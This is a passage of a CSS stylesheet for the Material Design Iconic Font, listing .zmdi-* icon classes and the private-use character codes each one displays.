.zmdi-flare:before { content: '\f163'; } .zmdi-flash-auto:before { content: '\f164'; } .zmdi-flash-off:before { content: '\f165'; } .zmdi-flash:before { content: '\f166'; } .zmdi-flip:before { content: '\f167'; } .zmdi-flower-alt:before { content: '\f168'; } .zmdi-flower:before { content: '\f169'; } .zmdi-font:before { content: '\f16a'; } .zmdi-fullscreen-alt:before { content: '\f16b'; } .zmdi-fullscreen-exit:before { content: '\f16c'; } .zmdi-fullscreen:before { content: '\f16d'; } .zmdi-functions:before { content: '\f16e'; } .zmdi-gas-station:before { content: '\f16f'; } .zmdi-gesture:before { content: '\f170'; } .zmdi-globe-alt:before { content: '\f171'; } .zmdi-globe-lock:before { content: '\f172'; } .zmdi-globe:before { content: '\f173'; } .zmdi-graduation-cap:before { content: '\f174'; } .zmdi-home:before { content: '\f175'; } .zmdi-hospital-alt:before { content: '\f176'; } .zmdi-hospital:before { content: '\f177'; } .zmdi-hotel:before { content: '\f178'; } .zmdi-hourglass-alt:before { content: '\f179'; } .zmdi-hourglass-outline:before { content: '\f17a'; } .zmdi-hourglass:before { content: '\f17b'; } .zmdi-http:before { content: '\f17c'; } .zmdi-image-alt:before { content: '\f17d'; } .zmdi-image-o:before { content: '\f17e'; } .zmdi-image:before { content: '\f17f'; } .zmdi-inbox:before { content: '\f180'; } .zmdi-invert-colors-off:before { content: '\f181'; } .zmdi-invert-colors:before { content: '\f182'; } .zmdi-key:before { content: '\f183'; } .zmdi-label-alt-outline:before { content: '\f184'; } .zmdi-label-alt:before { content: '\f185'; } .zmdi-label-heart:before { content: '\f186'; } .zmdi-label:before { content: '\f187'; } .zmdi-labels:before { content: '\f188'; } .zmdi-lamp:before { content: '\f189'; } .zmdi-landscape:before { content: '\f18a'; } .zmdi-layers-off:before { content: '\f18b'; } .zmdi-layers:before { content: '\f18c'; } .zmdi-library:before { content: '\f18d'; } .zmdi-link:before { content: '\f18e'; } .zmdi-lock-open:before { content: '\f18f'; } .zmdi-lock-outline:before { content: '\f190'; } .zmdi-lock:before { content: '\f191'; } .zmdi-mail-reply-all:before { content: '\f192'; } .zmdi-mail-reply:before { content: '\f193'; } .zmdi-mail-send:before { content: '\f194'; } .zmdi-mall:before { content: '\f195'; } .zmdi-map:before { content: '\f196'; } .zmdi-menu:before { content: '\f197'; } .zmdi-money-box:before { content: '\f198'; } .zmdi-money-off:before { content: '\f199'; } .zmdi-money:before { content: '\f19a'; } .zmdi-more-vert:before { content: '\f19b'; } .zmdi-more:before { content: '\f19c'; } .zmdi-movie-alt:before { content: '\f19d'; } .zmdi-movie:before { content: '\f19e'; } .zmdi-nature-people:before { content: '\f19f'; } .zmdi-nature:before { content: '\f1a0'; } .zmdi-navigation:before { content: '\f1a1'; } .zmdi-open-in-browser:before { content: '\f1a2'; } .zmdi-open-in-new:before { content: '\f1a3'; } .zmdi-palette:before { content: '\f1a4'; } .zmdi-parking:before { content: '\f1a5'; } .zmdi-pin-account:before { content: '\f1a6'; } .zmdi-pin-assistant:before { content: '\f1a7'; } .zmdi-pin-drop:before { content: '\f1a8'; } .zmdi-pin-help:before { content: '\f1a9'; } .zmdi-pin-off:before { content: '\f1aa'; } .zmdi-pin:before { content: '\f1ab'; } .zmdi-pizza:before { content: '\f1ac'; } .zmdi-plaster:before { content: '\f1ad'; } .zmdi-power-setting:before { content: '\f1ae'; } .zmdi-power:before { content: '\f1af'; } .zmdi-print:before { content: '\f1b0'; } .zmdi-puzzle-piece:before { content: '\f1b1'; } .zmdi-quote:before { content: '\f1b2'; } .zmdi-railway:before { content: '\f1b3'; } .zmdi-receipt:before { content: '\f1b4'; } .zmdi-refresh-alt:before { content: '\f1b5'; } .zmdi-refresh-sync-alert:before { content: '\f1b6'; } .zmdi-refresh-sync-off:before { content: '\f1b7'; } .zmdi-refresh-sync:before { content: '\f1b8'; } .zmdi-refresh:before { content: '\f1b9'; } .zmdi-roller:before { content: '\f1ba'; } .zmdi-ruler:before { content: '\f1bb'; } .zmdi-scissors:before { content: '\f1bc'; } .zmdi-screen-rotation-lock:before { content: '\f1bd'; } .zmdi-screen-rotation:before { content: '\f1be'; } .zmdi-search-for:before { content: '\f1bf'; } .zmdi-search-in-file:before { content: '\f1c0'; } .zmdi-search-in-page:before { content: '\f1c1'; } .zmdi-search-replace:before { content: '\f1c2'; } .zmdi-search:before { content: '\f1c3'; } .zmdi-seat:before { content: '\f1c4'; } .zmdi-settings-square:before { content: '\f1c5'; } .zmdi-settings:before { content: '\f1c6'; } .zmdi-shield-check:before { content: '\f1c7'; } .zmdi-shield-security:before { content: '\f1c8'; } .zmdi-shopping-basket:before { content: '\f1c9'; } .zmdi-shopping-cart-plus:before { content: '\f1ca'; } .zmdi-shopping-cart:before { content: '\f1cb'; } .zmdi-sign-in:before { content: '\f1cc'; } .zmdi-sort-amount-asc:before { content: '\f1cd'; } .zmdi-sort-amount-desc:before { content: '\f1ce'; } .zmdi-sort-asc:before { content: '\f1cf'; } .zmdi-sort-desc:before { content: '\f1d0'; } .zmdi-spellcheck:before { content: '\f1d1'; } .zmdi-storage:before { content: '\f1d2'; } .zmdi-store-24:before { content: '\f1d3'; } .zmdi-store:before { content: '\f1d4'; } .zmdi-subway:before { content: '\f1d5'; } .zmdi-sun:before { content: '\f1d6'; } .zmdi-tab-unselected:before { content: '\f1d7'; } .zmdi-tab:before { content: '\f1d8'; } .zmdi-tag-close:before { content: '\f1d9'; } .zmdi-tag-more:before { content: '\f1da'; } .zmdi-tag:before { content: '\f1db'; } .zmdi-thumb-down:before { content: '\f1dc'; } .zmdi-thumb-up-down:before { content: '\f1dd'; } .zmdi-thumb-up:before { content: '\f1de'; } .zmdi-ticket-star:before { content: '\f1df'; } .zmdi-toll:before { content: '\f1e0'; } .zmdi-toys:before { content: '\f1e1'; } .zmdi-traffic:before { content: '\f1e2'; } .zmdi-translate:before { content: '\f1e3'; } .zmdi-triangle-down:before { content: '\f1e4'; } .zmdi-triangle-up:before { content: '\f1e5'; } .zmdi-truck:before { content: '\f1e6'; } .zmdi-turning-sign:before { content: '\f1e7'; } .zmdi-wallpaper:before { content: '\f1e8'; } .zmdi-washing-machine:before { content: '\f1e9'; } .zmdi-window-maximize:before { content: '\f1ea'; } .zmdi-window-minimize:before { content: '\f1eb'; } .zmdi-window-restore:before { content: '\f1ec'; } .zmdi-wrench:before { content: '\f1ed'; } .zmdi-zoom-in:before { content: '\f1ee'; } .zmdi-zoom-out:before { content: '\f1ef'; } .zmdi-alert-circle-o:before { content: '\f1f0'; } .zmdi-alert-circle:before { content: '\f1f1'; } .zmdi-alert-octagon:before { content: '\f1f2'; } .zmdi-alert-polygon:before { content: '\f1f3'; } .zmdi-alert-triangle:before { content: '\f1f4'; } .zmdi-help-outline:before { content: '\f1f5'; } .zmdi-help:before { content: '\f1f6'; } .zmdi-info-outline:before { content: '\f1f7'; } .zmdi-info:before { content: '\f1f8'; } .zmdi-notifications-active:before { content: '\f1f9'; } .zmdi-notifications-add:before { content: '\f1fa'; } .zmdi-notifications-none:before { content: '\f1fb'; } .zmdi-notifications-off:before { content: '\f1fc'; } .zmdi-notifications-paused:before { content: '\f1fd'; } .zmdi-notifications:before { content: '\f1fe'; } .zmdi-account-add:before { content: '\f1ff'; } .zmdi-account-box-mail:before { content: '\f200'; } .zmdi-account-box-o:before { content: '\f201'; } .zmdi-account-box-phone:before { content: '\f202'; } .zmdi-account-box:before { content: '\f203'; } .zmdi-account-calendar:before { content: '\f204'; } .zmdi-account-circle:before { content: '\f205'; } .zmdi-account-o:before { content: '\f206'; } .zmdi-account:before { content: '\f207'; } .zmdi-accounts-add:before { content: '\f208'; } .zmdi-accounts-alt:before { content: '\f209'; } .zmdi-accounts-list-alt:before { content: '\f20a'; } .zmdi-accounts-list:before { content: '\f20b'; } .zmdi-accounts-outline:before { content: '\f20c'; } .zmdi-accounts:before { content: '\f20d'; } .zmdi-face:before { content: '\f20e'; } .zmdi-female:before { content: '\f20f'; } .zmdi-male-alt:before { content: '\f210'; } .zmdi-male-female:before { content: '\f211'; } .zmdi-male:before { content: '\f212'; } .zmdi-mood-bad:before { content: '\f213'; } .zmdi-mood:before { content: '\f214'; } .zmdi-run:before { content: '\f215'; } .zmdi-walk:before { content: '\f216'; } .zmdi-cloud-box:before { content: '\f217'; } .zmdi-cloud-circle:before { content: '\f218'; } .zmdi-cloud-done:before { content: '\f219'; } .zmdi-cloud-download:before { content: '\f21a'; } .zmdi-cloud-off:before { content: '\f21b'; } .zmdi-cloud-outline-alt:before { content: '\f21c'; } .zmdi-cloud-outline:before { content: '\f21d'; } .zmdi-cloud-upload:before { content: '\f21e'; } .zmdi-cloud:before { content: '\f21f'; } .zmdi-download:before { content: '\f220'; } .zmdi-file-plus:before { content: '\f221'; } .zmdi-file-text:before { content: '\f222'; } .zmdi-file:before { content: '\f223'; } .zmdi-folder-outline:before { content: '\f224'; } .zmdi-folder-person:before { content: '\f225'; } .zmdi-folder-star-alt:before { content: '\f226'; } .zmdi-folder-star:before { content: '\f227'; } .zmdi-folder:before { content: '\f228'; } .zmdi-gif:before { content: '\f229'; } .zmdi-upload:before { content: '\f22a'; } .zmdi-border-all:before { content: '\f22b'; } .zmdi-border-bottom:before { content: '\f22c'; } .zmdi-border-clear:before { content: '\f22d'; } .zmdi-border-color:before { content: '\f22e'; } .zmdi-border-horizontal:before { content: '\f22f'; } .zmdi-border-inner:before { content: '\f230'; } .zmdi-border-left:before { content: '\f231'; } .zmdi-border-outer:before { content: '\f232'; } .zmdi-border-right:before { content: '\f233'; } .zmdi-border-style:before { content: '\f234'; } .zmdi-border-top:before { content: '\f235'; } .zmdi-border-vertical:before { content: '\f236'; } .zmdi-copy:before { content: '\f237'; } .zmdi-crop:before { content: '\f238'; } .zmdi-format-align-center:before { content: '\f239'; } .zmdi-format-align-justify:before { content: '\f23a'; } .zmdi-format-align-left:before { content: '\f23b'; } .zmdi-format-align-right:before { content: '\f23c'; } .zmdi-format-bold:before { content: '\f23d'; } .zmdi-format-clear-all:before { content: '\f23e'; } .zmdi-format-clear:before { content: '\f23f'; } .zmdi-format-color-fill:before { content: '\f240'; } .zmdi-format-color-reset:before { content: '\f241'; } .zmdi-format-color-text:before { content: '\f242'; } .zmdi-format-indent-decrease:before { content: '\f243'; } .zmdi-format-indent-increase:before { content: '\f244'; } .zmdi-format-italic:before { content: '\f245'; } .zmdi-format-line-spacing:before { content: '\f246'; } .zmdi-format-list-bulleted:before { content: '\f247'; } .zmdi-format-list-numbered:before { content: '\f248'; } .zmdi-format-ltr:before { content: '\f249'; } .zmdi-format-rtl:before { content: '\f24a'; } .zmdi-format-size:before { content: '\f24b'; } .zmdi-format-strikethrough-s:before { content: '\f24c'; } .zmdi-format-strikethrough:before { content: '\f24d'; } .zmdi-format-subject:before { content: '\f24e'; } .zmdi-format-underlined:before { content: '\f24f'; } .zmdi-format-valign-bottom:before { content: '\f250'; } .zmdi-format-valign-center:before { content: '\f251'; } .zmdi-format-valign-top:before { content: '\f252'; } .zmdi-redo:before { content: '\f253'; } .zmdi-select-all:before { content: '\f254'; } .zmdi-space-bar:before { content: '\f255'; } .zmdi-text-format:before { content: '\f256'; } .zmdi-transform:before { content: '\f257'; } .zmdi-undo:before { content: '\f258'; } .zmdi-wrap-text:before { content: '\f259'; } .zmdi-comment-alert:before { content: '\f25a'; } .zmdi-comment-alt-text:before { content: '\f25b'; } .zmdi-comment-alt:before { content: '\f25c'; } .zmdi-comment-edit:before { content: '\f25d'; } .zmdi-comment-image:before { content: '\f25e'; } .zmdi-comment-list:before { content: '\f25f'; } .zmdi-comment-more:before { content: '\f260'; } .zmdi-comment-outline:before { content: '\f261'; } .zmdi-comment-text-alt:before { content: '\f262'; } .zmdi-comment-text:before { content: '\f263'; } .zmdi-comment-video:before { content: '\f264'; } .zmdi-comment:before { content: '\f265'; } .zmdi-comments:before { content: '\f266'; } .zmdi-check-all:before { content: '\f267'; } .zmdi-check-circle-u:before { content: '\f268'; } .zmdi-check-circle:before { content: '\f269'; } .zmdi-check-square:before { content: '\f26a'; } .zmdi-check:before { content: '\f26b'; } .zmdi-circle-o:before { content: '\f26c'; } .zmdi-circle:before { content: '\f26d'; } .zmdi-dot-circle-alt:before { content: '\f26e'; } .zmdi-dot-circle:before { content: '\f26f'; } .zmdi-minus-circle-outline:before { content: '\f270'; } .zmdi-minus-circle:before { content: '\f271'; } .zmdi-minus-square:before { content: '\f272'; } .zmdi-minus:before { content: '\f273'; } .zmdi-plus-circle-o-duplicate:before { content: '\f274'; } .zmdi-plus-circle-o:before { content: '\f275'; } .zmdi-plus-circle:before { content: '\f276'; } .zmdi-plus-square:before { content: '\f277'; } .zmdi-plus:before { content: '\f278'; } .zmdi-square-o:before { content: '\f279'; } .zmdi-star-circle:before { content: '\f27a'; } .zmdi-star-half:before { content: '\f27b'; } .zmdi-star-outline:before { content: '\f27c'; } .zmdi-star:before { content: '\f27d'; } .zmdi-bluetooth-connected:before { content: '\f27e'; } .zmdi-bluetooth-off:before { content: '\f27f'; } .zmdi-bluetooth-search:before { content: '\f280'; } .zmdi-bluetooth-setting:before { content: '\f281'; } .zmdi-bluetooth:before { content: '\f282'; } .zmdi-camera-add:before { content: '\f283'; } .zmdi-camera-alt:before { content: '\f284'; } .zmdi-camera-bw:before { content: '\f285'; } .zmdi-camera-front:before { content: '\f286'; } .zmdi-camera-mic:before { content: '\f287'; } .zmdi-camera-party-mode:before { content: '\f288'; } .zmdi-camera-rear:before { content: '\f289'; } .zmdi-camera-roll:before { content: '\f28a'; } .zmdi-camera-switch:before { content: '\f28b'; } .zmdi-camera:before { content: '\f28c'; } .zmdi-card-alert:before { content: '\f28d'; } .zmdi-card-off:before { content: '\f28e'; } .zmdi-card-sd:before { content: '\f28f'; } .zmdi-card-sim:before { content: '\f290'; } .zmdi-desktop-mac:before { content: '\f291'; } .zmdi-desktop-windows:before { content: '\f292'; } .zmdi-device-hub:before { content: '\f293'; } .zmdi-devices-off:before { content: '\f294'; } .zmdi-devices:before { content: '\f295'; } .zmdi-dock:before { content: '\f296'; } .zmdi-floppy:before { content: '\f297'; } .zmdi-gamepad:before { content: '\f298'; } .zmdi-gps-dot:before { content: '\f299'; } .zmdi-gps-off:before { content: '\f29a'; } .zmdi-gps:before { content: '\f29b'; } .zmdi-headset-mic:before { content: '\f29c'; } .zmdi-headset:before { content: '\f29d'; } .zmdi-input-antenna:before { content: '\f29e'; } .zmdi-input-composite:before { content: '\f29f'; } .zmdi-input-hdmi:before { content: '\f2a0'; } .zmdi-input-power:before { content: '\f2a1'; } .zmdi-input-svideo:before { content: '\f2a2'; } .zmdi-keyboard-hide:before { content: '\f2a3'; } .zmdi-keyboard:before { content: '\f2a4'; } .zmdi-laptop-chromebook:before { content: '\f2a5'; } .zmdi-laptop-mac:before { content: '\f2a6'; } .zmdi-laptop:before { content: '\f2a7'; } .zmdi-mic-off:before { content: '\f2a8'; } .zmdi-mic-outline:before { content: '\f2a9'; } .zmdi-mic-setting:before { content: '\f2aa'; } .zmdi-mic:before { content: '\f2ab'; } .zmdi-mouse:before { content: '\f2ac'; } .zmdi-network-alert:before { content: '\f2ad'; } .zmdi-network-locked:before { content: '\f2ae'; } .zmdi-network-off:before { content: '\f2af'; } .zmdi-network-outline:before { content: '\f2b0'; } .zmdi-network-setting:before { content: '\f2b1'; } .zmdi-network:before { content: '\f2b2'; } .zmdi-phone-bluetooth:before { content: '\f2b3'; } .zmdi-phone-end:before { content: '\f2b4'; } .zmdi-phone-forwarded:before { content: '\f2b5'; } .zmdi-phone-in-talk:before { content: '\f2b6'; } .zmdi-phone-locked:before { content: '\f2b7'; } .zmdi-phone-missed:before { content: '\f2b8'; } .zmdi-phone-msg:before { content: '\f2b9'; } .zmdi-phone-paused:before { content: '\f2ba'; } .zmdi-phone-ring:before { content: '\f2bb'; } .zmdi-phone-setting:before { content: '\f2bc'; } .zmdi-phone-sip:before { content: '\f2bd'; } .zmdi-phone:before { content: '\f2be'; } .zmdi-portable-wifi-changes:before { content: '\f2bf'; } .zmdi-portable-wifi-off:before { content: '\f2c0'; } .zmdi-portable-wifi:before { content: '\f2c1'; } .zmdi-radio:before { content: '\f2c2'; } .zmdi-reader:before { content: '\f2c3'; } .zmdi-remote-control-alt:before { content: '\f2c4'; } .zmdi-remote-control:before { content: '\f2c5'; } .zmdi-router:before { content: '\f2c6'; } .zmdi-scanner:before { content: '\f2c7'; } .zmdi-smartphone-android:before { content: '\f2c8'; } .zmdi-smartphone-download:before { content: '\f2c9'; } .zmdi-smartphone-erase:before { content: '\f2ca'; } .zmdi-smartphone-info:before { content: '\f2cb'; } .zmdi-smartphone-iphone:before { content: '\f2cc'; } .zmdi-smartphone-landscape-lock:before { content: '\f2cd'; } .zmdi-smartphone-landscape:before { content: '\f2ce'; } .zmdi-smartphone-lock:before { content: '\f2cf'; } .zmdi-smartphone-portrait-lock:before { content: '\f2d0'; } .zmdi-smartphone-ring:before { content: '\f2d1'; } .zmdi-smartphone-setting:before { content: '\f2d2'; } .zmdi-smartphone-setup:before { content: '\f2d3'; } .zmdi-smartphone:before { content: '\f2d4'; } .zmdi-speaker:before { content: '\f2d5'; } .zmdi-tablet-android:before { content: '\f2d6'; } .zmdi-tablet-mac:before { content: '\f2d7'; } .zmdi-tablet:before { content: '\f2d8'; } .zmdi-tv-alt-play:before { content: '\f2d9'; } .zmdi-tv-list:before { content: '\f2da'; } .zmdi-tv-play:before { content: '\f2db'; } .zmdi-tv:before { content: '\f2dc'; } .zmdi-usb:before { content: '\f2dd'; } .zmdi-videocam-off:before { content: '\f2de'; } .zmdi-videocam-switch:before { content: '\f2df'; } .zmdi-videocam:before { content: '\f2e0'; } .zmdi-watch:before { content: '\f2e1'; } .zmdi-wifi-alt-2:before { content: '\f2e2'; } .zmdi-wifi-alt:before { content: '\f2e3'; } .zmdi-wifi-info:before { content: '\f2e4'; } .zmdi-wifi-lock:before { content: '\f2e5'; } .zmdi-wifi-off:before { content: '\f2e6'; } .zmdi-wifi-outline:before { content: '\f2e7'; } .zmdi-wifi:before { content: '\f2e8'; } .zmdi-arrow-left-bottom:before { content: '\f2e9'; } .zmdi-arrow-left:before { content: '\f2ea'; } .zmdi-arrow-merge:before { content: '\f2eb'; } .zmdi-arrow-missed:before { content: '\f2ec'; } .zmdi-arrow-right-top:before { content: '\f2ed'; } .zmdi-arrow-right:before { content: '\f2ee'; } .zmdi-arrow-split:before { content: '\f2ef'; } .zmdi-arrows:before { content: '\f2f0'; } .zmdi-caret-down-circle:before { content: '\f2f1'; } .zmdi-caret-down:before { content: '\f2f2'; } .zmdi-caret-left-circle:before { content: '\f2f3'; } .zmdi-caret-left:before { content: '\f2f4'; } .zmdi-caret-right-circle:before { content: '\f2f5'; } .zmdi-caret-right:before { content: '\f2f6'; } .zmdi-caret-up-circle:before { content: '\f2f7'; } .zmdi-caret-up:before { content: '\f2f8'; } .zmdi-chevron-down:before { content: '\f2f9'; } .zmdi-chevron-left:before { content: '\f2fa'; } .zmdi-chevron-right:before { content: '\f2fb'; } .zmdi-chevron-up:before { content: '\f2fc'; } .zmdi-forward:before { content: '\f2fd'; } .zmdi-long-arrow-down:before { content: '\f2fe'; } .zmdi-long-arrow-left:before { content: '\f2ff'; } .zmdi-long-arrow-return:before { content: '\f300'; } .zmdi-long-arrow-right:before { content: '\f301'; } .zmdi-long-arrow-tab:before { content: '\f302'; } .zmdi-long-arrow-up:before { content: '\f303'; } .zmdi-rotate-ccw:before { content: '\f304'; } .zmdi-rotate-cw:before { content: '\f305'; } .zmdi-rotate-left:before { content: '\f306'; } .zmdi-rotate-right:before { content: '\f307'; } .zmdi-square-down:before { content: '\f308'; } .zmdi-square-right:before { content: '\f309'; } .zmdi-swap-alt:before { content: '\f30a'; } .zmdi-swap-vertical-circle:before { content: '\f30b'; } .zmdi-swap-vertical:before { content: '\f30c'; } .zmdi-swap:before { content: '\f30d'; } .zmdi-trending-down:before { content: '\f30e'; } .zmdi-trending-flat:before { content: '\f30f'; } .zmdi-trending-up:before { content: '\f310'; } .zmdi-unfold-less:before { content: '\f311'; } .zmdi-unfold-more:before { content: '\f312'; } .zmdi-apps:before { content: '\f313'; } .zmdi-grid-off:before { content: '\f314'; } .zmdi-grid:before { content: '\f315'; } .zmdi-view-agenda:before { content: '\f316'; } .zmdi-view-array:before { content: '\f317'; } .zmdi-view-carousel:before { content: '\f318'; } .zmdi-view-column:before { content: '\f319'; } .zmdi-view-comfy:before { content: '\f31a'; } .zmdi-view-compact:before { content: '\f31b'; } .zmdi-view-dashboard:before { content: '\f31c'; } .zmdi-view-day:before { content: '\f31d'; } .zmdi-view-headline:before { content: '\f31e'; } .zmdi-view-list-alt:before { content: '\f31f'; } .zmdi-view-list:before { content: '\f320'; } .zmdi-view-module:before { content: '\f321'; } .zmdi-view-quilt:before { content: '\f322'; } .zmdi-view-stream:before { content: '\f323'; } .zmdi-view-subtitles:before { content: '\f324'; } .zmdi-view-toc:before { content: '\f325'; } .zmdi-view-web:before { content: '\f326'; } .zmdi-view-week:before { content: '\f327'; } .zmdi-widgets:before { content: '\f328'; } .zmdi-alarm-check:before { content: '\f329'; } .zmdi-alarm-off:before { content: '\f32a'; } .zmdi-alarm-plus:before { content: '\f32b'; } .zmdi-alarm-snooze:before { content: '\f32c'; } .zmdi-alarm:before { content: '\f32d'; } .zmdi-calendar-alt:before { content: '\f32e'; } .zmdi-calendar-check:before { content: '\f32f'; } .zmdi-calendar-close:before { content: '\f330'; } .zmdi-calendar-note:before { content: '\f331'; } .zmdi-calendar:before { content: '\f332'; } .zmdi-time-countdown:before { content: '\f333'; } .zmdi-time-interval:before { content: '\f334'; } .zmdi-time-restore-setting:before { content: '\f335'; } .zmdi-time-restore:before { content: '\f336'; } .zmdi-time:before { content: '\f337'; } .zmdi-timer-off:before { content: '\f338'; } .zmdi-timer:before { content: '\f339'; } .zmdi-android-alt:before { content: '\f33a'; } .zmdi-android:before { content: '\f33b'; } .zmdi-apple:before { content: '\f33c'; } .zmdi-behance:before { content: '\f33d'; } .zmdi-codepen:before { content: '\f33e'; } .zmdi-dribbble:before { content: '\f33f'; } .zmdi-dropbox:before { content: '\f340'; } .zmdi-evernote:before { content: '\f341'; } .zmdi-facebook-box:before { content: '\f342'; } .zmdi-facebook:before { content: '\f343'; } .zmdi-github-box:before { content: '\f344'; } .zmdi-github:before { content: '\f345'; } .zmdi-google-drive:before { content: '\f346'; } .zmdi-google-earth:before { content: '\f347'; } .zmdi-google-glass:before { content: '\f348'; } .zmdi-google-maps:before { content: '\f349'; } .zmdi-google-pages:before { content: '\f34a'; } .zmdi-google-play:before { content: '\f34b'; } .zmdi-google-plus-box:before { content: '\f34c'; } .zmdi-google-plus:before { content: '\f34d'; } .zmdi-google:before { content: '\f34e'; } .zmdi-instagram:before { content: '\f34f'; } .zmdi-language-css3:before { content: '\f350'; } .zmdi-language-html5:before { content: '\f351'; } .zmdi-language-javascript:before { content: '\f352'; } .zmdi-language-python-alt:before { content: '\f353'; } .zmdi-language-python:before { content: '\f354'; } .zmdi-lastfm:before { content: '\f355'; } .zmdi-linkedin-box:before { content: '\f356'; } .zmdi-paypal:before { content: '\f357'; } .zmdi-pinterest-box:before { content: '\f358'; } .zmdi-pocket:before { content: '\f359'; } .zmdi-polymer:before { content: '\f35a'; } .zmdi-share:before { content: '\f35b'; } .zmdi-stackoverflow:before { content: '\f35c'; } .zmdi-steam-square:before { content: '\f35d'; } .zmdi-steam:before { content: '\f35e'; } .zmdi-twitter-box:before { content: '\f35f'; } .zmdi-twitter:before { content: '\f360'; } .zmdi-vk:before { content: '\f361'; } .zmdi-wikipedia:before { content: '\f362'; } .zmdi-windows:before { content: '\f363'; } .zmdi-aspect-ratio-alt:before { content: '\f364'; } .zmdi-aspect-ratio:before { content: '\f365'; } .zmdi-blur-circular:before { content: '\f366'; } .zmdi-blur-linear:before { content: '\f367'; } .zmdi-blur-off:before { content: '\f368'; } .zmdi-blur:before { content: '\f369'; } .zmdi-brightness-2:before { content: '\f36a'; } .zmdi-brightness-3:before { content: '\f36b'; } .zmdi-brightness-4:before { content: '\f36c'; } .zmdi-brightness-5:before { content: '\f36d'; } .zmdi-brightness-6:before { content: '\f36e'; } .zmdi-brightness-7:before { content: '\f36f'; } .zmdi-brightness-auto:before { content: '\f370'; } .zmdi-brightness-setting:before { content: '\f371'; } .zmdi-broken-image:before { content: '\f372'; } .zmdi-center-focus-strong:before { content: '\f373'; } .zmdi-center-focus-weak:before { content: '\f374'; } .zmdi-compare:before { content: '\f375'; } .zmdi-crop-16-9:before { content: '\f376'; } .zmdi-crop-3-2:before { content: '\f377'; } .zmdi-crop-5-4:before { content: '\f378'; } .zmdi-crop-7-5:before { content: '\f379'; } .zmdi-crop-din:before { content: '\f37a'; } .zmdi-crop-free:before { content: '\f37b'; } .zmdi-crop-landscape:before { content: '\f37c'; } .zmdi-crop-portrait:before { content: '\f37d'; } .zmdi-crop-square:before { content: '\f37e'; } .zmdi-exposure-alt:before { content: '\f37f'; } .zmdi-exposure:before { content: '\f380'; } .zmdi-filter-b-and-w:before { content: '\f381'; } .zmdi-filter-center-focus:before { content: '\f382'; } .zmdi-filter-frames:before { content: '\f383'; } .zmdi-filter-tilt-shift:before { content: '\f384'; } .zmdi-gradient:before { content: '\f385'; } .zmdi-grain:before { content: '\f386'; } .zmdi-graphic-eq:before { content: '\f387'; } .zmdi-hdr-off:before { content: '\f388'; } .zmdi-hdr-strong:before { content: '\f389'; } .zmdi-hdr-weak:before { content: '\f38a'; } .zmdi-hdr:before { content: '\f38b'; } .zmdi-iridescent:before { content: '\f38c'; } .zmdi-leak-off:before { content: '\f38d'; } .zmdi-leak:before { content: '\f38e'; } .zmdi-looks:before { content: '\f38f'; } .zmdi-loupe:before { content: '\f390'; } .zmdi-panorama-horizontal:before { content: '\f391'; } .zmdi-panorama-vertical:before { content: '\f392'; } .zmdi-panorama-wide-angle:before { content: '\f393'; } .zmdi-photo-size-select-large:before { content: '\f394'; } .zmdi-photo-size-select-small:before { content: '\f395'; } .zmdi-picture-in-picture:before { content: '\f396'; } .zmdi-slideshow:before { content: '\f397'; } .zmdi-texture:before { content: '\f398'; } .zmdi-tonality:before { content: '\f399'; } .zmdi-vignette:before { content: '\f39a'; } .zmdi-wb-auto:before { content: '\f39b'; } .zmdi-eject-alt:before { content: '\f39c'; } .zmdi-eject:before { content: '\f39d'; } .zmdi-equalizer:before { content: '\f39e'; } .zmdi-fast-forward:before { content: '\f39f'; } .zmdi-fast-rewind:before { content: '\f3a0'; } .zmdi-forward-10:before { content: '\f3a1'; } .zmdi-forward-30:before { content: '\f3a2'; } .zmdi-forward-5:before { content: '\f3a3'; } .zmdi-hearing:before { content: '\f3a4'; } .zmdi-pause-circle-outline:before { content: '\f3a5'; } .zmdi-pause-circle:before { content: '\f3a6'; } .zmdi-pause:before { content: '\f3a7'; } .zmdi-play-circle-outline:before { content: '\f3a8'; } .zmdi-play-circle:before { content: '\f3a9'; } .zmdi-play:before { content: '\f3aa'; } .zmdi-playlist-audio:before { content: '\f3ab'; } .zmdi-playlist-plus:before { content: '\f3ac'; } .zmdi-repeat-one:before { content: '\f3ad'; } .zmdi-repeat:before { content: '\f3ae'; } .zmdi-replay-10:before { content: '\f3af'; } .zmdi-replay-30:before { content: '\f3b0'; } .zmdi-replay-5:before { content: '\f3b1'; } .zmdi-replay:before { content: '\f3b2'; } .zmdi-shuffle:before { content: '\f3b3'; } .zmdi-skip-next:before { content: '\f3b4'; } .zmdi-skip-previous:before { content: '\f3b5'; } .zmdi-stop:before { content: '\f3b6'; } .zmdi-surround-sound:before { content: '\f3b7'; } .zmdi-tune:before { content: '\f3b8'; } .zmdi-volume-down:before { content: '\f3b9'; } .zmdi-volume-mute:before { content: '\f3ba'; } .zmdi-volume-off:before { content: '\f3bb'; } .zmdi-volume-up:before { content: '\f3bc'; } .zmdi-n-1-square:before { content: '\f3bd'; } .zmdi-n-2-square:before { content: '\f3be'; } .zmdi-n-3-square:before { content: '\f3bf'; } .zmdi-n-4-square:before { content: '\f3c0'; } .zmdi-n-5-square:before { content: '\f3c1'; } .zmdi-n-6-square:before { content: '\f3c2'; } .zmdi-neg-1:before { content: '\f3c3'; } .zmdi-neg-2:before { content: '\f3c4'; } .zmdi-plus-1:before { content: '\f3c5'; } .zmdi-plus-2:before { content: '\f3c6'; } .zmdi-sec-10:before { content: '\f3c7'; } .zmdi-sec-3:before { content: '\f3c8'; } .zmdi-zero:before { content: '\f3c9'; } .zmdi-airline-seat-flat-angled:before { content: '\f3ca'; } .zmdi-airline-seat-flat:before { content: '\f3cb'; } .zmdi-airline-seat-individual-suite:before { content: '\f3cc'; } .zmdi-airline-seat-legroom-extra:before { content: '\f3cd'; } .zmdi-airline-seat-legroom-normal:before { content: '\f3ce'; } .zmdi-airline-seat-legroom-reduced:before { content: '\f3cf'; } .zmdi-airline-seat-recline-extra:before { content: '\f3d0'; } .zmdi-airline-seat-recline-normal:before { content: '\f3d1'; } .zmdi-airplay:before { content: '\f3d2'; } .zmdi-closed-caption:before { content: '\f3d3'; } .zmdi-confirmation-number:before { content: '\f3d4'; } .zmdi-developer-board:before { content: '\f3d5'; } .zmdi-disc-full:before { content: '\f3d6'; } .zmdi-explicit:before { content: '\f3d7'; } .zmdi-flight-land:before { content: '\f3d8'; } .zmdi-flight-takeoff:before { content: '\f3d9'; } .zmdi-flip-to-back:before { content: '\f3da'; } .zmdi-flip-to-front:before { content: '\f3db'; } .zmdi-group-work:before { content: '\f3dc'; } .zmdi-hd:before { content: '\f3dd'; } .zmdi-hq:before { content: '\f3de'; } .zmdi-markunread-mailbox:before { content: '\f3df'; } .zmdi-memory:before { content: '\f3e0'; } 